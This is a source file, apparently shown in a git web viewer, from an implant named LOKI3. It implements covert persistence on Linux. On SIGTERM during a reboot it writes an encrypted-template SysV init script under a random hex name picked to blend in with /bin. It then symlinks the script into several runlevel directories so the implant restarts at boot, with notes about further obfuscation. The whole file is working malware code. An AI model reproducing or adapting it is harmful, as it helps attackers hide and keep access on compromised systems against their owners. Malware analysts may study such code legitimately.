summaryrefslogtreecommitdiff
path: root/persistence.c
blob: 3d6a42c297673f7f97626d7720e2fda0879ff168 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
/*
 * LOKI3
 *
 * [ persistence.h ]
 *
 *  2019 and beyond Elective Surgery        [dmfr]
 */

#ifdef PERSISTENCE
#include "loki.h"
#include "persistence.h"


extern estring S_SYSV_SERVICE;


/*
 * Generate a random string.
 * Used the character set because it blended in with files in /bin:
 *  % strings * |grep ABC |sort |uniq -c |sort -n
 *  ...snip...
 *      257 0123456789ABCDEF <--- pretty common alphanumeric string.
 */
static void random_string(char *dst, size_t len) {
	char character_set[] = "0123456789ABCDEF";

	while (len--) {
		*dst++ = character_set[rand() % (sizeof(character_set) - 1)];
	}

	*dst = '\0';
}

static void random_string_range(char *dst, size_t lower, size_t upper) {
	int len;

	len = (rand() % (upper - lower + 1)) + lower;
	random_string(dst, len);
}


/*
 * SIGTERM handler. This will be caught when the `reboot` command is
 * issued, or `kill our_pid_here`.
 *
 * This persistence sets up a SysV service when SIGTERM is caught. reboot
 * and init 6 first attempt to send all process the SIGTERM signal so they
 * may gracefully exit. We take advantage of this and gracefully exit by
 * installing persistence.
 */
void handle_sigterm(int signo) {
	/* create init script and symlinks */
	FILE *fp;
	char self[PATH_MAX + 1];
	char service_name[16];
	char str[8192];
	char *dbuf;
	size_t n;


	random_string_range(service_name, 4, sizeof(service_name));

	fp = fopen(INIT_SCRIPT, "w+"); // TODO obfuscate this
	if (fp == NULL) {
		perror("fopen");
		return;
	}

	n = readlink("/proc/self/exe", self, sizeof(self));
	if (n == -1) {
		perror("readlink");
		return;
	}

	dbuf = decrypt(S_SYSV_SERVICE);
	snprintf(str, sizeof(str), dbuf,
			 /* "#!/bin/sh\n" */
			 /* "### BEGIN INIT INFO\n" */
			 /* "# Provides: %s\n" */
			 /* "# Default-Start: 2 3 4 5\n" */
			 /* "# Default-Stop: 0 1 6\n" */
			 /* "# Short-Description: %s\n" */
			 /* "# Description: %s\n" */
			 /* "### END INIT INFO\n\n" */
			 /* "case \"$1\" in\n" */
			 /* "    start)\n" */
			 /* "        %s &\n" */
			 /* "        ;;\n" */
			 /* "esac\n" */
			 /* "exit 0\n", */
			 service_name, service_name, service_name, self);
	destroy(dbuf, S_SYSV_SERVICE.size);

	fputs(str, fp);

	// TODO error checking
	chmod(INIT_SCRIPT, S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH);
	symlink(INIT_SCRIPT, "/etc/rc2.d/" PRIORITY); // TODO obfuscate these
	symlink(INIT_SCRIPT, "/etc/rc3.d/" PRIORITY);
	symlink(INIT_SCRIPT, "/etc/rc4.d/" PRIORITY);
	symlink(INIT_SCRIPT, "/etc/rc5.d/" PRIORITY);

	fclose(fp);
}

/*
 * Remove persistence files and symlinks.
 */
void unlink_persistence() {
	// TODO error checking
	unlink(INIT_SCRIPT);
	unlink("/etc/rc2.d/" PRIORITY);
	unlink("/etc/rc3.d/" PRIORITY);
	unlink("/etc/rc4.d/" PRIORITY);
	unlink("/etc/rc5.d/" PRIORITY);
}
#endif /* PERSISTENCE */